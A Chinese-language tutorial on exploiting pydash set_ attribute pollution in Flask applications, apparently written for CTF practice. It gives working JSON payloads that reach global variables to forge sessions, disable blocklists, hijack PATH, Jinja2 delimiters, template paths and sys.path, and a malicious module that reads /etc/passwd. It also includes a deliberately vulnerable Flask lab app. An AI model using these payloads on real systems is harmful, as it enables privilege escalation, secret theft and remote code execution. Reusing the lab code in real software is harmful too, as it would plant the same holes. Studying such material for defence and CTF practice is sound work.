漏洞简介
Pydash是著名的 JavaScript 库Lodash的 Python 移植版。它提供了一系列工具函数来处理数据。
它的核心漏洞点在于
pydash.set_(a,b,c)该函数允许用户通过字符串路径(Dot Notation,如A.B.C)来设置嵌套对象或字典的值。
在旧版本的pydash(<6.0.0或者某些没有正确过滤的新版)中,它没有严格限制访问Python的魔术属性。
这样攻击者就可以通过传入恶意的Key(如__init__.__globals__),从一个普通对象”跳出“当前作用域,去修改全局变量、类属性,甚至不仅影响当前请求,还能持久化影响整个Web应用的运行状态。
漏洞点原理
这个漏洞点的函数的签名通常是这样的
pydash.set_(obj,path,value)obj
这是我们要修改的目标对象。obj有两种常见形态:普通的字典(Dict)和自定义类的实例(Instance)。我们分别来看这两种形态在利用时的区别和特征。
字典
在现代Web开发中,这是出现频率最高的obj形态。它通常来自用户上传的JSON数据,或者是为了合并配置而创建的空字典。示例代码如下
# 场景:合并用户配置到默认配置defmerge_config(user_input):config={}#这就是 obj,一个空字典# 或者# config = {"theme": "dark", "lang": "en"}# 漏洞发生地forkey,valueinuser_input.items():pydash.set_(config,key,value)虽然config只是一个字典,但它也是Python的对象。如果我们利用它来跳出作用域,我们不能直接用__init__,因为在pydash对字典的处理逻辑中,它会优先去找有没有一个叫__init__的key,而不是去调用方法。
我们通常需要先访问__class__跳出字典的键值对逻辑,进入对象属性逻辑。例如:
__class__.__init__.__globals__.SECRET_KEY这样我们利用class,从config这个字典中跳到dict类,然后再利用init和globals获取全局属性。
实例
这是在 ORM(如 SQLAlchemy)或用户模型中常见的形态。开发者实例化了一个用户对象、文章对象或设置对象,想通过通用函数来更新它的属性。
示例代码如下
classUser:def__init__(self):self.username="guest"self.is_admin=Falseuser=User()# 这就是 obj,一个实例对象# 场景:更新用户信息# 开发者想实现:输入 "username" 改名,输入 "is_admin" (如果未过滤) 提权pydash.set_(user,user_input_key,user_input_value)这种场景下的利用非常方便,因为实例对象的方法直接挂载在对象属性上。
我们可以直接从init开始往下走,利用
__init__.__globals__.SECRET_KEY这样就可以直接获取全局属性。
path
这是从obj出发,寻找最终要修改属性的路径。通常支持点分法(Dot Notation)。
这里也就是我们利用链的利用点。在obj确定修改对象后,把利用链传入这个值。
value
这里就是我们想把目标修改成目标值的位置。
利用类型
一、属性篡改与逻辑绕过
1.污染类属性
这里我们利用Python类变量共享的特性,修改所有实例的默认值。
例如,有一个用户注册或者登录的页面,代码中有user.is_admin检查。我们就可以修改User类的is_admin属性,导致后续实例化的所有用户变成管理员。
{"key":"__class__.is_admin","value":true}这里同样注意,如果obj是字典对象,起点为class;如果为实例对象,起点为init。
2.劫持Flask配置
如果环境是一个Flask应用,我们可以利用app.config控制逻辑。
我们可以拿到SECRET_KEY,拿到它后可以伪造session,如果把session进行反序列化了这里也可以配合pickle反序列化来打
{"key":"__init__.__globals__.app.config.SECRET_KEY","value":"123"}然后利用修改后的SECRET_KEY进行session伪造。
也可以把debug修改为true,泄露源码或者利用PIN码登录控制台进行rce。
{"key":"__init__.__globals__.app.config.DEBUG","value":true}3.绕过WAF或改变内部变量
如果环境中有用变量存储的黑名单检测,或者使用了某个全局变量作为判断依据,我们可以直接覆盖变量。
"__init__.__globals__.BLACKLIST"将内名单列表清空"__init__.__globals__.check_pass"将密码检查函数的返回值修改为True二、RCE利用链
部分环境代码中可能有潜在的rce漏洞点,如果参数可控,我们可以尝试利用pydash实现代码执行。
1.污染os.environ劫持命令执行
很多程序底层都会调用子进程(如subprocess.popen, os.system)。如果代码中使用了相对路径命令(如git status而非/usr/bin/git status),我们可以劫持PATH环境变量。
例如,我们可以上传一个shell到tmp目录下,利用pydash修改shell到app目录下,我们就可以通过浏览器访问来rce。
{"key":"__init__.__globals__.os.environ.PATH","value":"/tmp:/app"}2.Jinja2模板全局变量污染
如果题目使用了Flask+Jinja2来渲染页面,但是过滤SSTI关键字符或者没有可控的SSTI漏洞点,我们可以利用Jinja2的模板变量来rce。
app.jinja_env.globals
Jinja2有一个app.jinja_env.globals字典,这里面的函数/变量可以在所有模板中直接调用。我们可以往这里面塞入而已函数(如os.popen)。
{"key":"__init__.__globals__.app.jinja_env.globals.os","value":"os"}直接传module对象通常不行,因为JSON无法序列化module。这通常用于开启某些Jinja2的内置扩展或修改配置。
app.jinja_env.variable_start_string
但是我们还可以修改Jinja2的定界符。如果题目过滤了双大括号,我们可以把定界符改成其他的,如双中括号。
{"key":"__init__.__globals__.app.jinja_env.variable_start_string","value":"[["}app.jinja_env.variable_end_string
对应的,开头我们改了,结尾也要改
{"key":"__init__.__globals__.app.jinja_env.variable_end_string","value":"]]"}app.jinja_loader.searchpath
app下有个负责加载模板的jinja_loader对象的搜索路径属性searchpath。为了防止SSTI,Flask通常不会允许render_template加载别的目录下的模板文件,默认加载./template目录中的模板文件。如果我们可控模板渲染的模板路径,就可以渲染任意文件,执行SSTI或者进行任意文件读取。
{"key":"__init__.__globals__.app.jinja_loader.searthpath","value":"/"}我们把模板渲染的默认路径修改成了根目录,这样如果代码为
returnrender_template('flag')Flask就会渲染根目录下的flag文件,也就是/flag。
3.Python模块导入劫持
sys.path决定了Python在import库时去哪里找py文件。
如果我们能在服务器上写入一个.py文件到tmp,服务端会有import json或者import os这类的import操作,那么我们就可以将/tmp插入到sys.path的最前面。
{"key":"__init__.__globals__.sys.path","value":["/tmp","/usr/lib/python3.x/..."]}那么我们可以把恶意python文件修改为源码中import的文件名,上传到tmp目录下,比如json.py,那么下次代码执行import json的时候,加载的就是/tmp/json.py,可以直接rce。
但是注意,对于已经导入成功的模块(如os,sys),单纯修改sys.path是无法实现劫持的。
Python的导入机制有一个缓存优先原则。当我们执行import os时,Python解释器会首先检查sys.module字典。如果os已经在里面了,Python直接返回缓存中的对象,而对于web应用,这类模块在启动时就被加载了。只有当sys.module里找不到时,才会遍历sys.path列表去磁盘上搜索.py文件。
我们的目标就是寻找懒加载(import写在函数内部)的模块,或者不存在的模块。
漏洞演示
下面这段代码可以用来演示所有类型的利用方法。
app.py
importosimportsysimportsubprocessimportpydashfromflaskimportFlask,request,render_template_string,jsonify app=Flask(__name__)# ================== 环境配置 ==================UPLOAD_FOLDER='/tmp/ctf_uploads'ifnotos.path.exists(UPLOAD_FOLDER):os.makedirs(UPLOAD_FOLDER)# 模拟一个全局的 WAF 黑名单 (Type 1: 内部变量)# 如果这个列表里有内容,某些操作会被阻止GLOBAL_WAF_BLOCKLIST=["hack"]classAppConfig:def__init__(self):# 正常配置self.debug=False# (Type 1: Flask配置) 用于保护核心 flag 的开关app.config['SHOW_THE_FLAG']=FalseclassUser:is_admin=Falsedef__init__(self,name):self.name=name# ================== 核心漏洞点 ==================@app.route('/api/pollute',methods=['POST'])defpollute():""" 万恶之源:Pydash 原型链污染入口 """try:data=request.get_json()key=data.get('key')value=data.get('value')# 这里的 obj 是一个普通的实例,但足以撬动地球temp_user=User("temp")pydash.set_(temp_user,key,value)returnjsonify({"msg":f"Polluted{key}success"})exceptExceptionase:returnjsonify({"error":str(e)})# ================== 辅助功能:文件上传 ==================@app.route('/api/upload',methods=['POST'])defupload_file():""" 用于配合 Type 2 攻击:上传恶意脚本或模块 """if'file'notinrequest.files:return"No file"file=request.files['file']iffile.filename=='':return"No name"file.save(os.path.join(UPLOAD_FOLDER,file.filename))returnf"File saved to{UPLOAD_FOLDER}/{file.filename}"# ================== 关卡展示 ==================# [关卡 1] 属性篡改 (Class Attribute Pollution)@app.route('/level1/admin')deflevel1():# 每次请求产生新实例,看似安全,实则不然current_user=User("player")ifcurrent_user.is_admin:return"<h3>[Level 1 CLEAR] You are Admin now!</h3>"return"<h3>[Level 1 FAIL] Guest permission denied.</h3>",403# [关卡 2] 内部变量/WAF 绕过 (Internal Variable Bypass)@app.route('/level2/waf')deflevel2():# 检查全局 WAF 列表# 目标:清空这个列表iflen(GLOBAL_WAF_BLOCKLIST)>0:returnf"<h3>[Level 2 FAIL] WAF Active. Blocked items:{GLOBAL_WAF_BLOCKLIST}</h3>",403return"<h3>[Level 2 CLEAR] WAF disabled!</h3>"# [关卡 3] Flask 配置劫持 (Config Hijacking)@app.route('/level3/flag')deflevel3():# 目标:修改 app.config['SHOW_THE_FLAG']ifapp.config.get('SHOW_THE_FLAG'):return"<h3>[Level 3 CLEAR] Flag: CTF{CONFIG_HIJACKED}</h3>"return"<h3>[Level 3 FAIL] Flag is hidden in config.</h3>",403# [关卡 4] 环境变量劫持 (os.environ Injection)@app.route('/level4/cmd')deflevel4():# 模拟系统调用一个名叫 'sys_health_check' 的工具# 实际上系统里没这个命令,依赖 PATH 去找try:# 注意:这里没有写绝对路径,给了 PATH 劫持的机会# 我们利用 upload 上传一个叫 sys_health_check 的脚本到 /tmp/ctf_uploads# 然后污染 PATH 包含该目录output=subprocess.check_output(["sys_health_check"],shell=False,env=os.environ)returnf"<h3>[Level 4 CLEAR] Cmd Output:{output.decode()}</h3>"exceptExceptionase:returnf"<h3>[Level 4 FAIL] Command failed:{str(e)}(PATH:{os.environ.get('PATH')})</h3>"# [关卡 5] Jinja2 全局变量/语法污染 (Jinja2 Globals/Delimiters)@app.route('/level5/ssti')deflevel5():user_input=request.args.get('name','Guest')# 强力过滤:禁止使用 {{ 和 }},甚至禁止 class, globals 等关键字if'{{'inuser_inputor'class'inuser_input:return"Hacker detected!"# 目标:污染 Jinja2 配置,把定界符改为 [[ ]] 从而绕过检测template="Hello "+user_inputreturnrender_template_string(template)# [关卡 6] Python 模块导入劫持 (Module Hijacking)@app.route('/level6/import')deflevel6():try:# 尝试导入一个不存在的插件# 目标:上传一个 malicious_plugin.py 到 /tmp/ctf_uploads# 然后污染 sys.pathimportmalicious_pluginreturnf"<h3>[Level 6 CLEAR]{malicious_plugin.run()}</h3>"exceptImportError:returnf"<h3>[Level 6 FAIL] Module 'malicious_plugin' not found in{sys.path}</h3>"if__name__=='__main__':app.run(host='0.0.0.0',port=5000,debug=True)污染类属性
目标:修改User类的is_admin为True
payload:
{"key":"__class__.is_admin","value":true}
劫持Flask配置
目标:修改app.config[‘SHOW_THE_FLAG’]
payload:
{"key":"__init__.__globals__.app.config.SHOW_THE_FLAG","value":true}
绕过WAF
目标:清空内部全局变量GLOBAL_WAF_BLOCKLIST
payload:
{"key":"__init__.__globals__.GLOBAL_WAF_BLOCKLIST","value":[]}
污染os.environ
系统尝试执行sys_health_check,但没有这个命令。我们造一个假的,并把路径加到PATH里。
创建一个文件名为sys_health_check的可执行文件。
#!/bin/shecho"Hacked"这里注意如果想执行这个文件需要有x权限,这里不过多说明,只是演示命令劫持。
{"key":"__init__.__globals__.os.environ.PATH","value":"/tmp/ctf_uploads:/usr/bin:/bin"}访问/level4/cmd,服务器会在/tmp/ctf_uploads找到sys_health_check并执行。
Jinja2全局变量污染
题目有一个SSTI漏洞点,但是过滤了双大括号,我们将variable_start_string改为双中括号。
{"key":"__init__.__globals__.app.jinja_env.variable_start_string","value":"[["}这样就可以用[[]]代替{{}}进行sstizhu’ru
Python模块导入劫持
import malicious_plugin失败,我们上传它并把上传目录加入sys.path。
首先本地创建恶意的malicious_plugin.py
# malicious_plugin.pyimportosdefrun():returnos.popen('ls / && cat /etc/passwd').read()调用题目中的/api/upload上传它。
然后污染sys.path。
{"key":"__init__.__globals__.sys.path","value":["/tmp/ctf_uploads"]}访问/level6/import,python就会加载我们的恶意脚本,实现rce。